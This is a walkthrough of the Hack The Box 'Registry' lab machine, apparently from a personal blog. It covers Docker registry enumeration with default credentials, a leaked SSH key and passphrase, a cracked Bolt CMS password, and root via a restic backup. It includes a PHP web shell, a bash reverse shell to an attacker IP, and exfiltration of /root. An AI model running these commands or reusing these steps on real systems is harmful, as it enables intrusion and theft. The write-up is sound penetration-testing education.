Registry - Hack The Box
Synopsis
Registry is a hard difficulty linux machine, which features Docker and Bolt CMS running on Nginx. Docker registry API access is configured with default credentials, which allows us to pull the repository file. We gain intital foothold using the private key present in those repositories. User credentials for Bolt CMS can be obtained, and exploiting the CMS provides us with access to the www-data user, who has sudo entry to perform backups as root using the restic program. After taking a backup of the root folder remotely and mounting the repository with restic, with help of root priveate key we ssh as root.
Skills Required
- Enumeration
- Docker Registry
- Port Forwading
Skills Learned
- RCE
- Restic Exploitation
- Bolt CMS
Enumeration
Nmap
# Nmap 7.60 scan initiated Fri Mar 27 00:25:24 2020 as: nmap -sC -sV -v -p22,80,443 -o full.nmap registry.htb
Nmap scan report for registry.htb (10.10.10.159)
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (EdDSA)
80/tcp open http nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Issuer: commonName=Registry
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-05-06T21:14:35
| Not valid after: 2029-05-03T21:14:35
| MD5: 0d6f 504f 1cb5 de50 2f4e 5f67 9db6 a3a9
|_SHA-1: 7da0 1245 1d62 d69b a87e 8667 083c 39a6 9eb2 b2b5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The scan reveals that this is a Linux system which is running nginx
web server and its version is 1.14.0
.
We notice that ssl-cert
of port 443
using commonName=docker.registry.htb
. So, i added registry.htb
and docker.registry.htb
to my /etc/hosts
file.
Looking at the port 80
and 443
. we see nginx
default welcome page.
Quikc gobuster
on both http
and https
gives us the following dirs:
/install
/bolt
Running gobuster
on docker.registry.htb
gives /v2
directory. So, browsing to http://docker.registry.htb/v2/
prompt’s us with HTTP Basic Authentication.
Let’s try admin:admin
. Luckily it worked and we’re authenticated. Looking around we notice that it’s a Docker Registry
API endpoint.
Docker Registry
At this point we can read Docker Registry
API Specs to move furthur. Little bit googling helped me to find this awesome blog by notsosecure
on Anatomy of a hack: Docker Registry.
Docker Images are stored in collections, known as a repository. A registry
instance may contain several repositories. The list of available repositories is made available through the catalog
. catalog for a given registry can be retrieved using _catalog
endpoint.
curl --user "admin:admin" http://docker.registry.htb/v2/_catalog | python -m json.tool
{
"repositories": [
"bolt-image"
]
}
It shows that the registry
contains one repository
named bolt-image
. In context of Docker Registry, a repository
is basically a collection of related images, typically providing different versions (or say, tags
) of the same service or the application. we can fin out the tags
listed for the repository using /REPO_NAME/tags/list
endpoint.
curl --user "admin:admin" http://docker.registry.htb/v2/bolt-image/tags/list | python -m json.tool
{
"name": "bolt-image",
"tags": [
"latest"
]
}
we indentified that there is one tag named latest
and we can download manifest
tag using /manifests/latest
endpoint. A single manifest
is information about an image
, such as layer, size and digest. The docker manifest
command also gives users additional information such as the os and architecture the image
was built for.
curl --user "admin:admin" http://docker.registry.htb/v2/bolt-image/manifests/latest | python -m json.tool
{
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b"
},
{
"blobSum": "sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee"
},
{
"blobSum": "sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c"
},
{
"blobSum": "sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7"
},
{
"blobSum": "sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0"
},
{
"blobSum": "sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a"
},
{
"blobSum": "sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797"
},
{
"blobSum": "sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"container\":\"e2e88012228993b25b697ee37a0aae0cb0ecef7b1536d2b8e488a6ec3f353f14\",\"container_config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-05-25T15:18:56.9530238Z\",\"docker_version\":\"18.09.2\",\"id\":\"f18c41121574af38e7d88d4f5d7ea9d064beaadd500d13d33e8c419d01aa5ed5\",\"os\":\"linux\",\"parent\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\"}"
},
{
"v1Compatibility": "{\"id\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\",\"parent\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"created\":\"2019-05-25T15:13:31.3975799Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"parent\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"created\":\"2019-05-25T14:57:27.6745842Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"parent\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"created\":\"2019-05-25T14:47:52.6859489Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"parent\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"created\":\"2019-05-24T22:51:14.8744838Z\",\"container_config\":{\"Cmd\":[\"/bin/bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"parent\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"created\":\"2019-04-26T22:21:05.100534088Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/bash\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"parent\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"created\":\"2019-04-26T22:21:04.936777709Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c mkdir -p /run/systemd \\u0026\\u0026 echo 'docker' \\u003e /run/systemd/container\"]}}"
},
{
"v1Compatibility": "{\"id\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"parent\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"created\":\"2019-04-26T22:21:04.220422684Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c rm -rf /var/lib/apt/lists/*\"]}}"
},
{
"v1Compatibility": "{\"id\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"parent\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:03.471632173Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -xe \\t\\t\\u0026\\u0026 echo '#!/bin/sh' \\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 echo 'exit 101' \\u003e\\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 chmod +x /usr/sbin/policy-rc.d \\t\\t\\u0026\\u0026 dpkg-divert --local --rename --add /sbin/initctl \\t\\u0026\\u0026 cp -a /usr/sbin/policy-rc.d /sbin/initctl \\t\\u0026\\u0026 sed -i 's/^exit.*/exit 0/' /sbin/initctl \\t\\t\\u0026\\u0026 echo 'force-unsafe-io' \\u003e /etc/dpkg/dpkg.cfg.d/docker-apt-speedup \\t\\t\\u0026\\u0026 echo 'DPkg::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'APT::Update::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'Dir::Cache::pkgcache \\\"\\\"; Dir::Cache::srcpkgcache \\\"\\\";' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\t\\u0026\\u0026 echo 'Acquire::Languages \\\"none\\\";' \\u003e /etc/apt/apt.conf.d/docker-no-languages \\t\\t\\u0026\\u0026 echo 'Acquire::GzipIndexes \\\"true\\\"; Acquire::CompressionTypes::Order:: \\\"gz\\\";' \\u003e /etc/apt/apt.conf.d/docker-gzip-indexes \\t\\t\\u0026\\u0026 echo 'Apt::AutoRemove::SuggestsImportant \\\"false\\\";' \\u003e /etc/apt/apt.conf.d/docker-autoremove-suggests\"]}}"
},
{
"v1Compatibility": "{\"id\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:02.724843678Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:7ce84f13f11609a50ece7823578159412e2299c812746d1d1f1ed5db0728bd37 in / \"]}}"
}
],
"name": "bolt-image",
"schemaVersion": 1,
"signatures": [
{
"header": {
"alg": "ES256",
"jwk": {
"crv": "P-256",
"kid": "DU2P:4V3U:774B:45ZJ:IC22:53SM:2A3F:PJOT:77MM:BUXN:X2T5:K7AY",
"kty": "EC",
"x": "NvJQs2pZnJqdrJvqEOnGM5ES7svsdWE6jEhhn9Rl7v8",
"y": "yzayhDnsn34jusv6xKOHpxH2qzFD8cP-A7goTsozFlk"
}
},
"protected": "eyJmb3JtYXRMZW5ndGgiOjY3OTIsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMC0wMy0yOFQxMjowMToyMVoifQ",
"signature": "waunzuyj7oRlKnXPM22tv2UYidZH3E8-jzG84pub-EaG52oQwDGC7lSFzXByETwsgTyCsn8yYGh24BbXd7YuXg"
}
],
"tag": "latest"
}
blobsum
is the digest of the referenced filesystem image layer. A digest must be sha256
hash. Since, we got the list of blobs
, form the above output. we can download each blob
using /v2/REPO_NAME/blobs/sha256*****
endpoint. This will download a gzipped
file for each commit (or let’s say, configurational changes in base image) one blob is assigned.
we can download through API like this http://docker.registry.htb/v2/bolt-image/blobs/sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff
. Once we’ve downloaded all the blobs, we can unzip
them and go through them. I wrote a small bash script onliner to recursive unzip
them using tar
.
for i in $(cat ls);do tar -zxvf $i;done
User bolt
Enumerating through all the directoreis for sensitive info. under one image layer i found passphrase: GkOcz221Ftb3ugog
at the following directory etc/profile.d/01-ssh.sh
.
cat etc/profile.d/01-ssh.sh
#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interact
Looking at the .bash_hisotry
file under /root/.bash_history
we found the user downloading https://github.com/bolt/bolt
using Git. looking at it’s Github
we notice that is a CMS
written in php. We’ll have a look at this directory once we’re inside the machine .
<SNIP>
apt install nginx
apt install php-fpm
cd /var/www/html/
ls -la
rm -rf index.html
mv index.nginx-debian.html index.html
l
git clone https://github.com/bolt/bolt.git
l
ls -la
cd bolt/
ls -la
useradd -m bolt
<SNIP>
On Further more enumeration. Found id_rsa
key for the bolt
user at root/.ssh/id_rsa.pub
directory.
cat root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,1C98FA248505F287CCC597A59CF83AB9
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
Bdtfi9goJBFb6P7yHapZ13W30b96ZQG4Gdf4ZeV6MPMizcTbiggZRBokZLCBMb5H
pgkPgTrGJlbm+sLu/kt4jgex3T/NWwXHVrny5kIuTbbv1fXfyfkPqU66eysstO2s
OxciNk4W41o9YqHHYM9D/uL6xMqO3K/LTYUI+LcCK13pkjP7/zH+bqiClfNt0D2B
Xg6OWYK7E/DTqX+7zqNQp726sDAYKqQNpwgHldyDhOG3i8o66mLj3xODHQzBvwKR
bJ7jrLPW+AmQwo/V8ElNFPyP6oZBEdoNVn/plMDAi0ZzBHJc7hJ0JuHnMggWFXBM
PjxG/w4c8XV/Y2WavafEjT7hHuviSo6phoED5Zb3Iu+BU+qoEaNM/LntDwBXNEVu
Z0pIXd5Q2EloUZDXoeyMCqO/NkcIFkx+//BDddVTFmfw21v2Y8fZ2rivF/8CeXXZ
ot6kFb4G6gcxGpqSZKY7IHSp49I4kFsC7+tx7LU5/wqC9vZfuds/TM7Z+uECPOYI
f41H5YN+V14S5rU97re2w49vrBxM67K+x930niGVHnqk7t/T1jcErROrhMeT6go9
RLI9xScv6aJan6xHS+nWgxpPA7YNo2rknk/ZeUnWXSTLYyrC43dyPS4FvG8N0H1V
94Vcvj5Kmzv0FxwVu4epWNkLTZCJPBszTKiaEWWS+OLDh7lrcmm+GP54MsLBWVpr
-----END RSA PRIVATE KEY-----
Now we can login as bolt
user with the help of th private key
and the passphrase
which we found in our enumeration.
ssh -i bolt.id_rsa bolt@registry.htb
Enter passphrase for key 'bolt.id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information disabled due to load higher than 1.0
Last login: Sat Mar 28 11:09:14 2020 from 10.10.14.93
bolt@bolt:~$ wc -c user.txt
33 user.txt
bolt@bolt:~$ whoami && cat user.txt
bolt
ytc0ytdmnzywnzgxngi0zte0otm3ywzi
www-data
Let’s find for the directory where the bolt CMS
is present. little bit of looking around we found it at /var/www/html/bolt
. we’ll start digging into the directory for sensitive info.
we found a database file
at /var/www/html/bolt/app/database/bolt.db
which reveals the hash $2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK
.
--> Found for interesting column names in bolt_users (output limit 10)
CREATE TABLE bolt_users (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, username VARCHAR(32) NOT NULL, password VARCHAR(128) NOT NULL, email VARCHAR(254) NOT NULL, lastseen DATETIME DEFAULT NULL, lastip VARCHAR(45) DEFAULT NULL, displayna
me VARCHAR(32) NOT NULL, stack CLOB NOT NULL --(DC2Type:json)
, enabled BOOLEAN DEFAULT '1' NOT NULL, shadowpassword VARCHAR(128) DEFAULT NULL, shadowtoken VARCHAR(128) DEFAULT NULL, shadowvalidity DATETIME DEFAULT NULL, failedlogins INTEGER DEFAULT 0 NOT NULL, throttleduntil DATETIME DEFAULT NULL,
roles CLOB NOT NULL --(DC2Type:json)
)
1, admin, $2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK, bolt@registry.htb, 2020-03-28 09:34:53, 10.10.16.16, Admin, ["themes://php-one-liner.php","themes://rvsh.php","themes://revsh.php"], 1, None, None, None, 0, None, ["r
oot","everyone"]
Cracking that hash with john
reveals the password for admin
user of bolt CMS
is strawberry
. If we want to crackt the same hash
which is already cracked by john
.By deleting the john.pot
file helps us.
echo '$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK' > bolt.hash
We Noticed /blot
directory in our directory bruteforce . Browesing to it gives us the bolt CMS
main page. Little googleing show we can find bolt CMS
login page at /bolt
directory. so we can find the login page on this machine at /bolt/bolt
.
So we can login to the CMS
with credentials we previously found admin:strawbery
. We can also see the version
of CMS on the page which is Bolt 3.6.4
.
Quick googling about ` Bolt CMS Authenticated RCE i came across this blog [CVE-2019-9185](https://www.hacksecproject.com/?p=293) which show that we can upload
php files through
Settings > File Management > Upload Files and access them to get
RCE.
I also came to know that we can edit the
config.yml at
Settings > Configuration > Main Configuration and add
php to the
accept_file_types list in the
config.yml and save it to directly upload
php` files.
We can upload a basic php shell <?php system($_GET['cmd']); ?>
and can run bash
commands to get our revershell like bash -c 'bash -i >& /dev/tcp/10.10.14.226/9001 0>&1'
.
But i’m unable to get the reverse shell back and the request getting timed out
.
After little bit of debugging i realized that there is some firewall
which is blocking and there some IP
restrictions enable on this box. Since we cannot get reverse shell on to our attack machine. Since we’ve bolt
user shell. we’ll try to make reverse
shell to localhost
.
And it worked!. Now we’re www-data
and looking at sudo
permissions. we notice that we can run restic
as sudo
with out password.
Privilege Escalation
www-data@bolt:~/html/bolt/files$ sudo -l
Matching Defaults entries for www-data on bolt:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bolt:
(root) NOPASSWD: /usr/bin/restic backup -r rest*
Restic
is a backup program . we can install it on our local apt-get install restic
. However in order to be able to transfer the snapshot we also need to set up rest server on our attack machine restic/rest-server
Setting up rest server
on our local and initiating repo with restic init --repo backup/
.
rest-server --path backup/
rest-server 0.9.7 (40ba90f-dirty) compiled with go1.10.4 on linux/amd64
Data directory: backup/
Authentication disabled
Private repositories disabled
Starting server on :8000
Now, we need to do port
forwarding first so we can be able to transfer the snapshot
.
ssh -R 8000:127.0.0.1:8000 -i bolt.id_rsa bolt@registry.htb
Enter passphrase for key 'bolt.id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information as of Sat Mar 28 17:26:56 UTC 2020
System load: 0.02 Users logged in: 1
Usage of /: 6.9% of 61.80GB IP address for eth0: 10.10.10.159
Memory usage: 43% IP address for br-1bad9bd75d17: 172.18.0.1
Swap usage: 3% IP address for docker0: 172.17.0.1
Processes: 172
Last login: Sat Mar 28 16:58:47 2020 from 10.10.14.226
bolt@bolt:~$
Next,ww transfer the backup of root
folder to our machine.
www-data@bolt:~/html/bolt/files$ sudo restic backup -r rest:http://127.0.0.1:8000/ /root
< restic backup -r rest:http://127.0.0.1:8000/ /root
enter password for repository:
password is correct
scan [/root]
scanned 2 directories, 2 files in 0:00
[0:00] 100.00% 222B / 222B 4 / 4 items 0 errors ETA 0:00
duration: 0:00
snapshot 8b6515fd saved
And finally going through the snapshot i’m able to fina the private
key for the root and ssh
to access as root
.
ssh -i root.id_rsa root@registry.htb
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information as of Sat Mar 28 18:07:57 UTC 2020
System load: 0.0 Users logged in: 1
Usage of /: 5.6% of 61.80GB IP address for eth0: 10.10.10.159
Memory usage: 21% IP address for br-1bad9bd75d17: 172.18.0.1
Swap usage: 0% IP address for docker0: 172.17.0.1
Processes: 156
Last login: Sat Mar 28 18:07:45 2020 from 10.10.14.40
root@bolt:~# whoami
root
root@bolt:~# cat root.txt
ntrkzgnkotaxyju0ntrinda4yzbkztgw
Thank you for taking your time for reading this blog!.